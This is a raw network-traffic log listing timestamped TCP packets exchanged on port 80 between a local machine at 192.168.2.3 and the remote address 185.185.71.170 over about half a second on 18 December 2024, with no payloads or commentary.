Dec 18, 2024 20:56:40.874212027 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.874262094 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.874814034 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.874826908 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.874861002 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.875824928 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.876454115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.876612902 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.877017975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.877031088 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.877096891 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.878150940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.878653049 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.878707886 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.879236937 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.879251003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.879296064 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.880841017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.881419897 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.881561041 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.882031918 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.882045984 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.882095098 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.883210897 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.883228064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.883332014 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.884196997 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.884216070 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.884299040 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.885313034 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.885324955 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.885374069 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.886465073 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.886477947 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.886535883 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.887581110 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.887593985 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.887645006 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.888696909 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.888710976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.888782978 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.889801025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.889810085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.889864922 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.890902996 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.890916109 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.890985012 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.892049074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.892062902 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.892112017 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.893287897 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.893301010 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.893341064 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.894279003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.894301891 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.894402027 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.895370007 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.895392895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.895441055 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.896998882 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.897012949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.897061110 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.897826910 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.897842884 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.897881985 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.898767948 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.898781061 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.898819923 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.899802923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.899823904 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.899857998 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.900986910 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.900991917 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.901031971 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.902651072 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.902664900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.902709961 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.904093027 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.904105902 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.904143095 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.905625105 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.905637980 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.905675888 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.906729937 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.906742096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.906785011 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.907522917 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.907536030 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.907577991 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.908307076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.908318996 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.908356905 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.909079075 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.909090996 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.909131050 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.909976959 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.909996986 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.910058975 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.911240101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.911253929 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.911293983 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.912488937 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.912502050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.912552118 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.913723946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.913737059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.913747072 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.913800001 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.914931059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.914952040 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.914978981 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.916217089 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.916229010 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.916275978 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.917413950 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.917428017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.917455912 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.918674946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.918687105 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.918697119 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.918715000 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.918740988 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.919924974 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.919939041 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.919974089 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.921180964 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.921199083 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.921235085 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.922368050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.922437906 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.922491074 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.923674107 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.923693895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.923732042 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.924875021 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.924894094 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.924906015 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.924930096 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.926080942 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.926119089 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.926121950 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.927360058 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.927376986 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.927414894 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.928599119 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.928616047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.928651094 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.929790974 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.929822922 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.929835081 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.929846048 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.929873943 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.931025028 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.931055069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.931077957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.931113005 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.978111029 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.066942930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.067346096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.067358017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.067419052 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.068093061 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.068105936 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.068130016 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.074014902 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.074189901 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.074275017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.074287891 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.074338913 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.075310946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.075335026 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.075387955 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.076514006 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.076529026 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.076582909 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.077800035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.077814102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.077862978 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.079039097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.079063892 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.079102993 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.080269098 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.080276966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.080288887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.080321074 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.081619978 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.081634045 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.081680059 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.082870007 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.082876921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.082916021 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.085320950 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.085335970 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.085376978 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.087857962 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.087869883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.087924004 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.088956118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.088969946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.089001894 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.090181112 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.090195894 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.090229988 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.091398001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.091413975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.091423988 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.091451883 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.091481924 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.092689037 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.092703104 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.092777967 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.093884945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.093899012 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.093964100 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.095118046 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.095133066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.095190048 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.096394062 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.096409082 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.096420050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.096493006 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.097661972 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.097676992 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.097775936 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.098860979 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.098875046 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.098913908 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.100058079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.100084066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.100131989 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.101314068 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.101327896 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.101361036 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.102562904 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.102576971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.102593899 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.102605104 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.102628946 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.103799105 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.103822947 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.103862047 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.105031967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.105046034 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.105098009 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.106286049 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.106300116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.106355906 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.107568979 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.107584953 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.107598066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.107651949 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.108776093 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.108792067 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.108839035 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.110008001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.110023022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.110089064 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.111253977 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.111268044 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.111330986 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.112461090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.112477064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.112509966 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.113768101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.113782883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.113796949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.113807917 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.113836050 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.114989042 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.115003109 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.115051031 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.116239071 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.116250992 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.116293907 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.117465973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.117480040 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.117521048 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.118674994 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.118729115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.118741035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.118766069 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.119959116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.119971991 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.120008945 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.121176958 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.121192932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.121225119 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.122406960 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.122422934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.122447014 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.123672009 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.123694897 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.123713970 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.124880075 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.124895096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.124922037 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.124928951 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.124988079 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.126213074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.126230955 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.126267910 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.127368927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.127382994 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.127425909 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.128765106 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.129997969 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.130012989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.130034924 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.131114006 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.131161928 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.132337093 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.132361889 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.132375956 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.132411957 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.133548975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.133562088 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.133598089 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.181211948 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.259761095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.260107994 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.260166883 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.260544062 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.261033058 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.261087894 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.261640072 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.261652946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.261701107 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.263081074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.263092995 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.263134003 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.263529062 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.263544083 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.263581991 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.264722109 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.264734030 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.264780045 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.265719891 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.265732050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.265773058 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.266786098 CET	80	49747	185.185.71.170	192.168.2.3
